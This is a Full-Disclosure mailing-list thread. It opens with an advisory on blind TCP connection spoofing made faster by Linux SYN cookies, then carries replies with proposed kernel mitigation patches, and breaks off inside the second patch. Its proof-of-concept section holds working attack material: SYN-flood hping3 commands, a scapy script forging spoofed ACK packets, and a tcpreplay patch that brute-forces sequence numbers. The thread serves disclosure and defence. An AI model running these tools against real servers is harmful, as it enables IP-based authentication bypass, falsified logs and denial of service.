Quick Blind TCP Connection Spoofing with SYN Cookies

Quick Blind TCP Connection Spoofing with SYN Cookies

[Jakob Lell]

[-- Attachment #1: Type: text/plain, Size: 23401 bytes --]

Advisory location:
http://www.jakoblell.com/blog/2013/08/13/quick-blind-tcp-connection-spoofing-with-syn-cookies/

Quick Blind TCP Connection Spoofing with SYN Cookies

Abstract:

TCP uses 32 bit Seq/Ack numbers in order to make sure that both sides of 
a connection can actually receive packets from each other. Additionally, 
these numbers make it relatively hard to spoof the source address 
because successful spoofing requires guessing the correct initial 
sequence number (ISN) which is generated by the server in a 
non-guessable way. It is commonly known that a 32 bit number can be 
brute forced in a couple of hours given a fast (gigabit) network 
connection. This article shows that the effort required for guessing a 
valid ISN can be reduced from hours to minutes if the server uses TCP 
SYN Cookies (a widely used defense mechanism against SYN-Flooding DOS 
Attacks), which are enabled by default for various Linux distributions 
including Ubuntu and Debian.

I. Repetition of TCP Basics

A TCP Connection is initiated with a three-way handshake:

SYN: The Client sends a SYN packet to the server in order to initiate a 
connection. The SYN packet contains an initial sequence number (ISN) 
generated by the client.
SYN-ACK: The server acknowledges the connection request by the client. 
The SYN-ACK Packet contains an ISN generated by the server. It also 
confirms the ISN from the client in the ack field of the TCP header so 
that the client can verify that the SYN-ACK packet actually comes from 
the server and isn't spoofed.
ACK: In the final ACK packet of the three-way handshake the client 
confirms that it has received the ISN generated by the server. That way 
the server knows that the client has actually received the SYN-ACK 
packet from the server and thus the connection request isn't spoofed.

After this three-way handshake, the TCP connection is established and 
both sides can send data to each other. The initial sequence numbers 
make sure that the other side can actually receive the packets and thus 
prevent IP spoofing given that the attacker can't receive packets sent 
to the spoofed IP address.

Since the initial sequence numbers are only 32-bit values, it is not 
impossible to blindly spoof a connection by brute-forcing the ISN. If we 
need to send 3 packets to the server (one SYN packet to initiate the 
connection, one ACK packet to finish the three-way handshake and one 
payload packet), we will have to send 3*2^32 packets per successfully 
spoofed connection at an average. Given a packet rate of 300,000 packets 
per second (which can easily be achieved with a gigabit connection), 
sending this packets requires some 12 hours.

One long-known weakness of the original TCP protocol design is that an 
attacker can spoof a high number of SYN packets to a server. The server 
then has to send (and maybe even retransmit) a SYN-ACK packet to each of 
the spoofed IP addresses and keep track the half-open connection so that 
it can handle an ACK packet. Remembering a high number of bogus 
half-open connections can lead to resource exhaustion and make the 
server unresponsive to legitimate clients. This attack is called SYN 
Flooding and it can lead to DOS even if the attacker only uses a 
fraction of the network bandwidth available to the server.

II. Description of the SYN Cookie approach

In order to protect servers against SYN-Flooding attacks, Daniel J. 
Bernstein suggested the technique of TCP Syn Cookies in 1996. The main 
idea of the approach is not to keep track of incoming SYN packets and 
instead encode the required information in the ISN generated by the 
server. Once the server receives an ACK packet, he can check whether the 
Ack number from the client actually matches the server-generated ISN, 
which can easily be recalculated when receiving the ACK-packet. This 
allows processing the ACK packet without remembering anything about the 
initial SYN request issued by the client.

Since the server doesn't keep track of half-open connections, it can't 
remember any detail of the SYN packet sent by the client. Since the 
initial SYN packet contains the maximum segment size (MSS) of the 
client, the server encodes the MSS using 3 bits (via a table with 8 
hard-coded MSS values). In order to make sure that half-open connections 
expire after a certain time, the server also encodes a 
slowly-incrementing (typically about once a minute) counter to the ISN. 
Other options of the initial SYN packet are typically ignored (although 
recent Linux kernels do support some options by encoding them via TCP 
Timestamps [1]). When receiving an ACK packet, the kernel extracts the 
counter value from the SYN Cookie and checks whether it is one of the 
last 4 valid values.

The original approach of Bernstein [2] only encodes the counter and the 
MSS value in the first 8 bits of the ISN thus leaving only 24 bits for 
the cryptographically generated (non-guessable) value which needs to be 
guessed for spoofing a connection. This can easily be brute forced 
within relatively short time given the speed of modern network hardware. 
In order to mitigate this attack, Bernstein suggests[3]:

# Add another number to the cookie: a 32-bit server-selected secret 
function of the client address and server address (but not the current 
time). This forces the attacker to guess 32 bits instead of 24.

This is implemented in recent Linux kernels and it does indeed make 
guessing the ISN more costly than a simple implementation without this 
additional secret function. However, as we will see in the next section, 
it does not require the attacker to guess the full 32 bit ISN.

The following function shows the generation of the SYN Cookies in the 
Linux Kernel 3.10.1 (file net/ipv4/syncookies.c):

#define COOKIEBITS 24    /* Upper bits store count */
#define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)

static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
                    __be16 dport, __u32 sseq, __u32 count,
                    __u32 data)
{
     /*
      * Compute the secure sequence number.
      * The output should be:
      *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
      *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
      * Where sseq is their sequence number and count increases every
      * minute by 1.
      * As an extra hack, we add a small "data" value that encodes the
      * MSS into the second hash value.
      */

     return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
         sseq + (count << COOKIEBITS) +
         ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
          & COOKIEMASK));
}

The value sseq is the sequence number generated by the client and is 
therefore directly known to the attacker. The data is an integer between 
0 and 7, which encodes one of 8 possible MSS values. The count value is 
just a timestamp which is increased once a minute and it is encoded in 
the upper 8 bits of the generated cookie. However, since the first hash 
value is not known to the attacker, the timestamp value must be guessed 
by the attacker as well.

The following two functions show how the SYN Cookies are verified when 
receiving an ACK packet:

#define COUNTER_TRIES 4


/*
  * This retrieves the small "data" value from the syncookie.
  * If the syncookie is bad, the data returned will be out of
  * range.  This must be checked by the caller.
  *
  * The count value used to generate the cookie must be within
  * "maxdiff" if the current (passed-in) "count".  The return value
  * is (__u32)-1 if this test fails.
  */
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
                   __be16 sport, __be16 dport, __u32 sseq,
                   __u32 count, __u32 maxdiff)
{
     __u32 diff;

     /* Strip away the layers from the cookie */
     cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;

     /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
     diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
     if (diff >= maxdiff)
         return (__u32)-1;

     return (cookie -
         cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
         & COOKIEMASK;    /* Leaving the data behind */
}

/*
  * Check if a ack sequence number is a valid syncookie.
  * Return the decoded mss if it is, or 0 if not.
  */
static inline int cookie_check(struct sk_buff *skb, __u32 cookie)
{
     const struct iphdr *iph = ip_hdr(skb);
     const struct tcphdr *th = tcp_hdr(skb);
     __u32 seq = ntohl(th->seq) - 1;
     __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
                         th->source, th->dest, seq,
                         jiffies / (HZ * 60),
                         COUNTER_TRIES);

     return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}

First of all, the server removes the first hash value and the ISN chosen 
by the client. This is easily possible because the hash only depends on 
a server secret and the source/destination address/port and doesn't 
change over time. Then the upper 8 bits contain the count value and if 
this counter is one of the last four valid counter values, it is 
accepted. At that point the counter used for generating the SYN Cookie 
is known and the server can therefore calculate the second hash and 
subtract it from the cookie. The remaining value is the encoded MSS 
value. The Cookie is only accepted if this encoded MSS value is actually 
a number between 0 and 7.


III. Reduced cost of guessing due to multiple valid ISNs

Since the kernel encodes a counter and the MSS value in the ISN, there 
must be one valid ISN for every combination of a valid counter value and 
a valid MSS value. In current implementations there are 4 valid counter 
values and 8 possible MSS values. This gives a total of 32 valid 
combinations which will be accepted by the server at any given time. 
Each of this 32 combination results in one valid ISN and if the attacker 
guesses any one of them, the kernel will accept the ACK packet. This 
reduces the effort needed to successfully guess a valid ISN by the 
factor 32.

Since the server doesn't remember that he has received a SYN packet when 
using SYN Cookies, there is no need to actually send the initial SYN 
packet. If we start the connection by sending an ACK packet and guess 
one of the 32 valid ISNs, the kernel will process the ACK packet without 
noticing that he has never received a SYN packet from the client and 
responded with a SYN-Ack packet.

IV. Combination of ACK-Packet and Payload

Although the TCP standard assumes that the three-way handshake is 
completed before any data is sent, it is also possible to add data to 
the final ACK packet of the handshake [4]. This means that guessing an 
ISN and spoofing a full tcp connection with some payload data (such as 
an http request) can be reduced to sending out only one single packet. 
So the average number of packets required per successfully spoofed 
connection can be reduced to 2^32 / 32 (because the server accepts 32 
different ISNs at a time). At a packet rate of 300,000 pps (which can 
easily be achieved with gigabit ethernet) this amount of packets can be 
sent out in no more than 8 minutes (compared to the 12 hours calculated 
in section I).

V. Possible real-life applications of TCP Connection spoofing

Many application developers assume that TCP makes sure that the client 
IP address is actually correct and can't easily be spoofed. Being able 
to spoof the source address obviously creates significant problems when 
using the IP address for authentication e.g. for legacy protocols like 
RSH. Even if RSH has widely been replaced by more secure alternatives 
like SSH by now, there are still some applications where the IP address 
is used for authentication. For instance it is still common to have 
administrative interfaces which can only be accessed from certain IP 
addresses. Another widespread usage of IP addresses for authentication 
is that many web applications bind the session ID to a specific IP 
address. If the session ID can be stolen by other means, an attacker can 
use the method described here to bypass this IP address verification.

Aside from actually using IP addresses for authenticating requests, it 
is also quite common to log IP addresses, which may then be used to 
track down initiators of objectionable requests such as exploits, 
abusive blog comments or illegal file sharing traffic. Using the 
technique described here may allow planting false evidence in the logged 
IP addresses.

Being able to spoof IP addresses also allows bypassing SPF e.g. when 
sending spear phishing mails in order to give the phishing mails the 
additional credibility of a valid SPF sender address, which may help to 
bypass email filtering software.

An obvious limitation of the technique described here is that when 
spoofing the IP address, you can only send a request (which may result 
in persistent changes on the server) but not receive any responses sent 
by the server. For many protocols it is however possible to guess the 
size of the server responses, send matching ACK packets and transmit 
multiple payload packets in order to spoof a more complex protocol 
interaction with the server.


VI. POC Exploit and real-life performance measures

This section describes the steps needed to actually carry out the attack 
and contains full POC code. For my experimental setup the server used 
the IP address 192.168.1.11 and port 1234. The attacker system was 
located in the same local subnet and the spoofed IP address was 
192.168.1.217.

First of all, even if SYN Cookies are enabled in 
/proc/sys/net/ipv4/tcp_syncookies (which is the default for various 
linux distributions), the system will still use a traditional backlog 
queue for storing half-open connections and only fall back to using SYN 
Cookies if the backlog queue overflows. The main reason for this is that 
storing information about connection requests allows full support of TCP 
Options and arbitrary MSS values (which don't have to be reduced to one 
of 8 predefined values). The backlog queue size is 2048 by default and 
can be adjusted via /proc/sys/net/ipv4/tcp_max_syn_backlog. So in order 
to actually carry out the spoofing attack, we have to intentionally 
overflow the backlog queue by doing a Syn-Flooding attack. This can be 
done e.g. with the hping3 command:

hping3 -i u100 -p 1234 -S -a 192.168.1.216 -q 192.168.1.11

Experiments have shown that running hping3 in parallel to the actual ISN 
brute-forcing does significantly reduce the packet rate even if hping3 
is configured to use only a small fraction of the packet rate of the ISN 
brute-forcing tool. In order to achieve the maximum packet rate 
possible, it is therefore more efficient to run hping3 in regular short 
intervals. The following command sends out 3000 SYN packets in a short 
burst once a second:

while true;do time hping3 -i u1 -c 3000 -S -q -p 1234 -a 192.168.1.216 
192.168.1.11;sleep 1;done

The source IP address used for this SYN-Flooding attack should not 
respond with a RST packet or return an ICMP Destination Host Unreachable 
message so that the queue entries aren't freed before they time out. On 
linux you can easily add another IP address to a network interface and 
block all traffic coming to this IP address in order to prevent it from 
responding with RST packets:

ifconfig eth0:1 inet 192.168.1.216 netmask 255.255.255.0 up
iptables -I INPUT --dst 192.168.1.216 -j DROP

I've used the same commands to set up the IP address 192.168.1.217, 
which is the IP address I wanted to spoof. This makes sure that sending 
responses to the spoofed address won't lead to a RST packet or an ICMP 
Destination Host Unreachable packet, which may lead to a premature 
termination of the connection and the processing of the spoofed request 
in the server software.

ifconfig eth0:2 inet 192.168.1.217 netmask 255.255.255.0 up
iptables -I INPUT --dst 192.168.1.217 -j DROP

In a real world attack, the same goal can also be achieved by issuing a 
(D)DOS attack against the spoofed IP address.

Once the system is in SYN-Cookie mode, it is necessary to spoof a high 
number of ACK packets with a payload in order to guess one of the 32 
valid ISNs. I initially wanted to do this with scapy but this failed due 
to the utterly low performance of scapy (less then 10k packets per 
second). So I went on to create a pcap file in scapy, which can then be 
sent out with a patched version of tcpreplay in a loop. The patched 
tcpreplay just increases the ack field of the tcp header by 31337 for 
each repetition of the loop. Using an uneven number makes sure that it 
reaches all 2^32 possible values without repetitions. In theory you 
could just linearly try all possible ISNs. However, the counter value in 
the 8 upper bits of the ISN only changes once a minute and is linearly 
incremented for a given combination of source and destination 
address/port. Therefore a linear search will likely be in an incorrect 
range and not create any hit within a long time. So it is advisable to 
increment the guessed ISN by a larger number so that it traverses the 
full ISN space relatively quickly.

The attached script create_packet.py creates a single ACK packet with 
some payload data.

The next step is to patch and compile tcpreplay. Here are the commands 
needed on an Ubuntu 12.04 amd64 system:

apt-get install build-essential libpcap-dev
ln -s lib/x86_64-linux-gnu /usr/lib64 # Quick workaround for a bug in 
the build system of tcpreplay
wget -O tcpreplay-3.4.4.tar.gz 
http://prdownloads.sourceforge.net/tcpreplay/tcpreplay-3.4.4.tar.gz?download
tar xzvf tcpreplay-3.4.4.tar.gz
cd tcpreplay-3.4.4
cat ../tcpreplay_patch.txt | patch -p1
./configure
make
cp src/tcpreplay-edit ../


After compiling a patched version of tcpreplay, you can use the 
following commands to actually send out packets in an infinite loop:
python create_packet.py
while true;do time ./tcpreplay-edit -i eth0 -t -C -K -l 500000000 -q 
ack_with_payload.pcap;done


VII. Experimental results

I've tested this setup in a local network between a 3 year old notebook 
(HP 6440b, i5-430M CPU and Marvell 88E8072 gigabit NIC) as the client 
and a desktop computer as the server. With a small test payload, the 
achievable packet rate is some 280,000 packets per seconds, which leads 
to some 73% CPU usage of the tcpreplay process (18% user and 55% sys in 
the output of time). According to [5] it may be expected that the packet 
rate can at least be doubled given a fast system with a decent Intel 
gigabit network card. Obviously the actual packet rate also depends on 
the size of the payload data. During a 10.5 hour overnight run I 
successfully spoofed 64 connections, which is about one successful spoof 
every 10 minutes. This is a little bit less than the expected value of 
79 spoofed connections (once every 8 minutes). There are several 
possible explanations for this deviation:
* The tcpreplay process takes some time to print the statistics in the 
end. During that time no packets are sent. I've only used the statistics 
output of tcpreplay for measuring the packet rate and so the measured 
packet rate may be a little bit off.
* When going to the maximum packet rate achievable with your hardware, 
there may be packet loss (especially if you don't use any kind of 
congestion control).
* Last but not least the spoofing is a statistical process. The standard 
deviation is approximately the square root of the expected number of 
spoofed connections and it is not particularly unlikely to be off by one 
or two standard deviations from the expected value. For this experiment 
the standard deviation is sqrt(79) = 8.89 and the measured number of 
spoofed connections was off by 1.68 standard deviations, which is well 
within the expected statistical variation.

VIII. Possible mitigation options

The simplification of TCP Connection Spoofing described here is an 
inherent problem of TCP SYN Cookies and so there won't be a simple patch 
which just solves the issue and makes the Spoofing Attack as hard as it 
is without SYN Cookies. It is only possible to gradually increase the 
required effort for successfully spoofing a connection e.g. by only 
accepting the last two instead of four counter values (which will lead 
to a 60-120s timeout between the initial SYN and the final ACK packet of 
the three-way handshake during a SYN Flooding attack) or by disallowing 
the combination of the final ACK packet with payload data (which will 
double the number of packets the attacker has to send). However, even 
with this two mitigation options in place, the spoofing attack is still 
about an order of magnitude easier with SYN Cookies than it is without 
SYN Cookies and it would still be very inadvisable to assume that the 
source IP address of TCP connections can't be spoofed. It may also be 
possible to use the lower bits of the TCP timestamp option (which is 
currently used in order to support TCP Options with SYN Cookies) for 
encoding the MSS and counter values. However, this can only provide 
effective protection against a spoofing attack if the server refuses 
clients which don't support TCP timestamps during a SYN Flooding Attack, 
which will break compatibility with some standard-conform TCP 
implementations.

It is obviously possible to disable SYN Cookies (and increase the 
backlog queue size in /proc/sys/net/ipv4/tcp_max_syn_backlog) in order 
to make the spoofing attack as hard as possible and force an attacker to 
brute force the full 32 bit ISN space. However, disabling SYN Cookies 
may require a significant amount of CPU Time and Memory during a SYN 
Flooding Attack. Moreover, the spoofing is still not impossible even 
without SYN Cookies and it will likely succeed within a couple of hours 
with a gigabit ethernet connection.

Given the limitations of the other mitigation options my suggestion is 
to solve the  problem on a higher level and make sure that the security 
of applications doesn't rely on the impossible of spoofing the source 
address of TCP connections. This obviously means that you should never 
rely on source IP addresses for authentication. For web applications it 
is also possible to mitigate the issue by using secure CSRF tokens for 
all actions which cause persistent changes on the server and not 
processing the request unless it uses a valid CSRF token. In that case 
the IP address of the request using the CSRF token may be spoofed but 
the IP address to which the token has been sent to can't be spoofed 
since the attacker will need to receive the CSRF token so that he can 
use it. When logging IP addresses used for certain actions such as blog 
comments or account registrations, the IP address to which the CSRF 
token has been sent to should be logged additionally to (or instead of) 
the IP address using the token.

References:
[1]: http://lwn.net/Articles/277146/
[2]: http://cr.yp.to/syncookies.html Section "What are SYN cookies?"
[3]: http://cr.yp.to/syncookies.html Section "Blind connection forgery"
[4]: http://www.thice.nl/creating-ack-get-packets-with-scapy/
[5]: 
http://wiki.networksecuritytoolkit.org/nstwiki/index.php/LAN_Ethernet_Maximum_Rates,_Generation,_Capturing_%26_Monitoring#pktgen:_UDP_60_Byte_Packets


[-- Attachment #2: create_packet.py --]
[-- Type: text/x-python, Size: 794 bytes --]

#!/usr/bin/python

# Change log level to suppress annoying IPv6 error
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *
import time

# Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC 
# should be the MAC of the gateway to use when the target is not on your local subnet
ether=Ether(src="40:eb:60:9f:42:a0",dst="e8:40:f2:d1:b3:a2")
# Set up source and destination IP addresses
ip=IP(src="192.168.1.217", dst="192.168.1.11")

# Assemble an ACK packet with "Hello World\n" as a payload
pkt = ether/ip/TCP(sport=31337, dport=1234, flags="A", seq=43, ack=1337) / ("Hello World\n")
# Write the packet to a pcap file, which can then be sent using a patched version of tcpreplay
wrpcap("ack_with_payload.pcap",pkt)


[-- Attachment #3: tcpreplay_patch.txt --]
[-- Type: text/plain, Size: 1578 bytes --]

diff -u -r tcpreplay-3.4.4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets.c
--- tcpreplay-3.4.4/src/send_packets.c	2010-04-05 02:58:02.000000000 +0200
+++ tcpreplay-3.4.4.patched/src/send_packets.c	2013-08-06 10:56:51.757048452 +0200
@@ -81,6 +81,9 @@
 void
 send_packets(pcap_t *pcap, int cache_file_idx)
 {
+    static u_int32_t ack_bruteforce_offset = 1;
+    uint32_t* ack;
+    uint32_t orig_ack;
     struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta, now;
     COUNTER packetnum = 0;
     struct pcap_pkthdr pkthdr;
@@ -154,6 +157,9 @@
 #endif
 
 #if defined TCPREPLAY && defined TCPREPLAY_EDIT
+        ack = (uint32_t*)(pktdata + 14 + 20 + 8);
+        orig_ack = *ack;
+        *ack = htonl(ntohl(*ack) + ack_bruteforce_offset);
         pkthdr_ptr = &pkthdr;
         if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp->cache_dir) == -1) {
             errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit));
@@ -176,7 +182,7 @@
         /* write packet out on network */
         if (sendpacket(sp, pktdata, pktlen) < (int)pktlen)
             warnx("Unable to send packet: %s", sendpacket_geterr(sp));
-
+        *ack = orig_ack;
         /*
          * track the time of the "last packet sent".  Again, because of OpenBSD
          * we have to do a mempcy rather then assignment.
@@ -205,7 +211,7 @@
             }
         }
     } /* while */
-
+    ack_bruteforce_offset += 31337;
     if (options.enable_file_cache) {
         options.file_cache[cache_file_idx].cached = TRUE;
     }

Re: Quick Blind TCP Connection Spoofing with SYN Cookies

[some one]

[-- Attachment #1.1: Type: text/plain, Size: 60 bytes --]

Good write up that Jakob and an interesting read.
Thanks ,)

[-- Attachment #1.2: Type: text/html, Size: 81 bytes --]

[-- Attachment #2: Type: text/plain, Size: 200 bytes --]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: Quick Blind TCP Connection Spoofing with SYN Cookies

[Jiri Bohac]

On Tue, Aug 13, 2013 at 03:57:30PM +0200, Jakob Lell wrote:
> VIII. Possible mitigation options
> 
> The simplification of TCP Connection Spoofing described here is an
> inherent problem of TCP SYN Cookies and so there won't be a simple
> patch which just solves the issue and makes the Spoofing Attack as
> hard as it is without SYN Cookies. It is only possible to gradually
> increase the required effort for successfully spoofing a connection
> e.g. by only accepting the last two instead of four counter values
> (which will lead to a 60-120s 

If the counter is slowed down 4 times, accepting only two
values should result in similar behaviour as we have today.

Can anyone think of a reason this should not be done?


Additionally, I believe we should reduce the number of possible MSS
values. I think 3 values should be enough - not supporting jumbo
frames and wasting a few bytes on sub-optimal MSS around 1400
bytes should be acceptable when a system is under a DoS attack.

I have 3 patches doing just that:

1 - slow down the timer and improve the situation by a factor of 2
2 - since not everyone will be happy with exactly 3 MSS values,
    let's make this configurable via sysctl
3 - decrease the default number of MSS values to 3 and improve
    the situation by a factor of 8/3

These patches combined make the attack 5.3 times harder. By
using the sysctl to only set two possible MSSs, one can make
the attack 8 times harder - and only 4 times easier than
previously believed.

The patches are compile-tested only.

Thoughts?


-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

[PATCH 1/3] [RFC] TCP syncookies: slow down timer to mitigate spoofing attacks

[Jiri Bohac]

(compile-tested only)

Jakob Lell discovered that the sequence number that needs to be guessed to
successfully spoof a TCP connection with syncookies only has 27 bits of
entropy. Of the 32 bits, 2 bits are wasted by the four differrent timestamps
accepted and 3 are wasted by the 8 differrent RSS values. [1]

This patch slows down the timer used in syncookies from 1/60 Hz to 1/60/4 Hz
so that at any moment only two differrent timer values can be accepted.
As a result, 1 bit of sequence number entropy is gained.

This changes the maximum cookie age limit from 4 - 5 minutes to 4 - 8 minutes.

[1]: http://www.jakoblell.com/blog/2013/08/13/quick-blind-tcp-connection-spoofing-with-syn-cookies/

Signed-off-by: Jiri Bohac <jbohac@suse.cz>
---
 net/ipv4/syncookies.c | 30 ++++++++++++++++--------------
 net/ipv6/syncookies.c | 15 ++++++++-------
 2 files changed, 24 insertions(+), 21 deletions(-)

diff --git a/net/ipv4/syncookies.c b/net/ipv4/syncookies.c
index b05c96e..cf1b720 100644
--- a/net/ipv4/syncookies.c
+++ b/net/ipv4/syncookies.c
@@ -114,13 +114,13 @@ static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
  * If the syncookie is bad, the data returned will be out of
  * range.  This must be checked by the caller.
  *
- * The count value used to generate the cookie must be within
- * "maxdiff" if the current (passed-in) "count".  The return value
+ * The count value used to generate the cookie must be the same or
+ * one less than the current (passed-in) "count".  The return value
  * is (__u32)-1 if this test fails.
  */
 static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
 				  __be16 sport, __be16 dport, __u32 sseq,
-				  __u32 count, __u32 maxdiff)
+				  __u32 count)
 {
 	__u32 diff;
 
@@ -129,7 +129,7 @@ static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
 
 	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
 	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
-	if (diff >= maxdiff)
+	if (diff >= 2)
 		return (__u32)-1;
 
 	return (cookie -
@@ -157,6 +157,16 @@ static __u16 const msstab[] = {
 };
 
 /*
+ * This value is the age (in seconds) of syncookies which will always be
+ * permitted. Cookies aged up to twice this value may be permitted as
+ * a result of rounding errors.
+ * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
+ * sysctl_tcp_retries1. It's a rather complicated formula (exponential
+ * backoff) to compute at runtime so it's currently hardcoded here.
+ */
+#define COOKIE_LIFETIME 4	/* 4 to 8 seconds */
+
+/*
  * Generate a syncookie.  mssp points to the mss, which is returned
  * rounded down to the value encoded in the cookie.
  */
@@ -178,17 +188,10 @@ __u32 cookie_v4_init_sequence(struct sock *sk, struct sk_buff *skb, __u16 *mssp)
 
 	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
 				     th->source, th->dest, ntohl(th->seq),
-				     jiffies / (HZ * 60), mssind);
+				     jiffies / (HZ * 60 * COOKIE_LIFETIME), mssind);
 }
 
 /*
- * This (misnamed) value is the age of syncookie which is permitted.
- * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
- * sysctl_tcp_retries1. It's a rather complicated formula (exponential
- * backoff) to compute at runtime so it's currently hardcoded here.
- */
-#define COUNTER_TRIES 4
-/*
  * Check if a ack sequence number is a valid syncookie.
  * Return the decoded mss if it is, or 0 if not.
  */
@@ -199,8 +202,7 @@ static inline int cookie_check(struct sk_buff *skb, __u32 cookie)
 	__u32 seq = ntohl(th->seq) - 1;
 	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
 					    th->source, th->dest, seq,
-					    jiffies / (HZ * 60),
-					    COUNTER_TRIES);
+					    jiffies / (HZ * 60 * COOKIE_LIFETIME));
 
 	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
 }
diff --git a/net/ipv6/syncookies.c b/net/ipv6/syncookies.c
index d5dda20..46e8b27 100644
--- a/net/ipv6/syncookies.c
+++ b/net/ipv6/syncookies.c
@@ -37,12 +37,14 @@ static __u16 const msstab[] = {
 };
 
 /*
- * This (misnamed) value is the age of syncookie which is permitted.
+ * This value is the age (in seconds) of syncookies which will always be
+ * permitted. Cookies aged up to twice this value may be permitted as
+ * a result of rounding errors.
  * Its ideal value should be dependent on TCP_TIMEOUT_INIT and
  * sysctl_tcp_retries1. It's a rather complicated formula (exponential
  * backoff) to compute at runtime so it's currently hardcoded here.
  */
-#define COUNTER_TRIES 4
+#define COOKIE_LIFETIME 4	/* 4 to 8 seconds */
 
 static inline struct sock *get_cookie_sock(struct sock *sk, struct sk_buff *skb,
 					   struct request_sock *req,
@@ -96,15 +98,14 @@ static __u32 secure_tcp_syn_cookie(const struct in6_addr *saddr,
 
 static __u32 check_tcp_syn_cookie(__u32 cookie, const struct in6_addr *saddr,
 				  const struct in6_addr *daddr, __be16 sport,
-				  __be16 dport, __u32 sseq, __u32 count,
-				  __u32 maxdiff)
+				  __be16 dport, __u32 sseq, __u32 count)
 {
 	__u32 diff;
 
 	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
 
 	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
-	if (diff >= maxdiff)
+	if (diff >= 2)
 		return (__u32)-1;
 
 	return (cookie -
@@ -131,7 +132,7 @@ __u32 cookie_v6_init_sequence(struct sock *sk, const struct sk_buff *skb, __u16
 
 	return secure_tcp_syn_cookie(&iph->saddr, &iph->daddr, th->source,
 				     th->dest, ntohl(th->seq),
-				     jiffies / (HZ * 60), mssind);
+				     jiffies / (HZ * 60 * COOKIE_LIFETIME), mssind);
 }
 
 static inline int cookie_check(const struct sk_buff *skb, __u32 cookie)
@@ -141,7 +142,7 @@ static inline int cookie_check(const struct sk_buff *skb, __u32 cookie)
 	__u32 seq = ntohl(th->seq) - 1;
 	__u32 mssind = check_tcp_syn_cookie(cookie, &iph->saddr, &iph->daddr,
 					    th->source, th->dest, seq,
-					    jiffies / (HZ * 60), COUNTER_TRIES);
+					    jiffies / (HZ * 60 * COOKIE_LIFETIME));
 
 	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
 }
-- 
1.8.3.1

-- 
Jiri Bohac <jbohac@suse.cz>
SUSE Labs, SUSE CZ

[PATCH 2/3] [RFC] TCP syncookies: introduce sysctl to configure the MSS tables

[Jiri Bohac]

(compile-tested only)

This patch introduces two new sysctls
	net.ipv4.tcp_syncookies_mss_table
	net.ipv6.tcp_syncookies_mss_table
to manipulate the TCP syncookie MSS tables

Signed-off-by: Jiri Bohac <jbohac@suse.cz>
---
 Documentation/networking/ip-sysctl.txt | 22 +++++++++++--
 include/net/tcp.h                      |  9 ++++++
 net/ipv4/syncookies.c                  | 13 +++++---
 net/ipv4/sysctl_net_ipv4.c             | 57 ++++++++++++++++++++++++++++++++++
 net/ipv6/syncookies.c                  | 13 +++++---
 net/ipv6/sysctl_net_ipv6.c             | 20 ++++++++++++
 6 files changed, 122 insertions(+), 12 deletions(-)

diff --git a/Documentation/networking/ip-sysctl.txt b/Documentation/networking/ip-sysctl.txt
index 1074290..f49a741 100644
--- a/Documentation/networking/ip-sysctl.txt
+++ b/Documentation/networking/ip-sysctl.txt
@@ -440,6 +440,20 @@ tcp_syncookies - BOOLEAN
 	SYN flood warnings in logs not being really flooded, your server
 	is seriously misconfigured.
 
+tcp_syncookies_mss_table - vector of INTEGERs
+	TCP connections initiated with TCP syncookies are limited to a
+	pre-defined set of MSS values. The more possible values, the better
+	the MSS can correspond with the MSS originally sent by the client.
+	However, more possible MSS values means less effort tu successfully 
+	spoof a TCP sonnection.
+
+	The sysctl is an array of possible MSS values, sorted from smallest to
+	largest. If a zero value is present, all following values will be
+	ignored.
+
+	This setting only applies to TCP over IPv4. IPv6 has its own sysctl.
+
+
 tcp_fastopen - INTEGER
 	Enable TCP Fast Open feature (draft-ietf-tcpm-fastopen) to send data
 	in the opening SYN packet. To use this feature, the client application
@@ -1042,8 +1056,12 @@ delon.nicolas@wanadoo.fr
 
 /proc/sys/net/ipv6/* Variables:
 
-IPv6 has no global variables such as tcp_*.  tcp_* settings under ipv4/ also
-apply to IPv6 [XXX?].
+tcp_syncookies_mss_table - vector of INTEGERs
+	see the TCP/IPv4 description 
+
+
+IPv6 has no other global variables such as tcp_*.  tcp_* settings under ipv4/ i
+also apply to IPv6 [XXX?].
 
 bindv6only - BOOLEAN
 	Default value for IPV6_V6ONLY socket option,
diff --git a/include/net/tcp.h b/include/net/tcp.h
index d198005..460ffe9 100644
--- a/include/net/tcp.h
